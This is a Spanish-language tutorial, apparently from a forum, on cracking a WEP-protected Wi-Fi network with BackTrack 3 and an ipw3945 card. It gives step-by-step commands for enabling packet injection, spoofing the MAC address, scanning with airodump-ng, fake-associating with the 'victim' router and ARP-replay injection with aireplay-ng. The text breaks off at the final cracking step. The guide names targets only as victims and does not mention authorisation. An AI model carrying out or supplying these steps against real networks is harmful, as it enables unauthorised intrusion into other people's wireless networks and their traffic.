Backtrack

-------------------------------------------------
Bueno en este tuto es para usar el Backtrack 3 con la tarjeta de red Intel Pro Wireless 3945 tambien conocida como ipw3945, que es la que tengo en mi portatil

Nos bajamos el iso de Bt3 y lo quemamos en un cd.

Backtrack 3

Cuando ya tenemos este live-cd lo arrancamos y entra directamente sin tener que poner root ni nada mas. Empezamos:Abrimos terminal 
-------------------------------------------------
CÓDIGO:
-------------------------------------------------
iwconfig
-------------------------------------------------

Este comando nos muestra el estado de las interfaces de red. Pero necesitamos activar Ipwraw, para que nuestra tarjeta de red sirva para inyectar, para hacer esto tecleamos lo siguiente:-------------------------------------------------
CÓDIGO:
-------------------------------------------------
rmmod iwl3945
modprobe ipwraw
-------------------------------------------------

Tecleamos de nuevo el comando
-------------------------------------------------
CÓDIGO:
-------------------------------------------------
iwconfig
-------------------------------------------------

Y nossaldrá que cambió de wlan0 a wifi0, el wifi0 es lo que necesitamos para poder seguir con el crackeo.

Bien ahora podemos cambiar nuestra dirección mac con:
-------------------------------------------------
CÓDIGO:
-------------------------------------------------
macchanger -m 00:11:22:33:44:55 wifi0
-------------------------------------------------

Podemos usar cualquier numero quequeramos pero que sea en grupos de 6 ejemplo: xx:xx:xx:xx:xx:xx

O bien podemos saber nuestro numero MAC de la tarjeta inalámbrica. Lo hacemos por medio de:
-------------------------------------------------
CÓDIGO:
-------------------------------------------------
ifconfig wifi0 up
ifconfig
-------------------------------------------------

Es un numero de 12 digitos que vieneetiquetado como HRDAW (o algo asi) en el apartado wifi0.

Ahora procedemos a escanear las redes a nuestro alcance.
-------------------------------------------------
CÓDIGO:
-------------------------------------------------
airodump-ng wifi0
-------------------------------------------------

Bien ahora lo que sigue será escanear la red que hayámos seleccionado-------------------------------------------------
CÓDIGO:
-------------------------------------------------
airodump-ng --channel x --write xxx wifi0
-------------------------------------------------

o bien:
-------------------------------------------------
CÓDIGO:
-------------------------------------------------
airodump-ng -c x -w xxx wifi0
-------------------------------------------------

Nota: cambiarla primera "x" por el numero del canal de red que quieran crackear y las "xxx" por algun nombre que deseen no importa cual sea.

Ahora lo que haremos es asociarnos con el router de la victima, para poder inyectar los paquetes
-------------------------------------------------
CÓDIGO:
-------------------------------------------------
aireplay-ng -1 0 -e ESSID -a xx:xx:xx:xx:xx:xx -h nuestramac wifi0
-------------------------------------------------

Cambiar las "x" por la mac de la victima y el ESSID por el nombre de la red victima

Paso siguiente a capturar paquetes:
-------------------------------------------------
CÓDIGO:
-------------------------------------------------
aireplay-ng -3 -b xx:xx:xx:xx:xx:xx -h nuestra mac wifi0-------------------------------------------------

Recordad cambiar las "x" por la mac de la victima

Y comienza la inyección de paquetes y si han hecho todo al pie de la letra en estos momentos el numero de ARP estará aumentando rapidamente. Con 30000 DATAS ya puedes intentar el ataque pero pueden necesitarse hasta 100000 o mas DATAS

Pasó final, craquear la wep:
-------------------------------------------------
CÓDIGO:...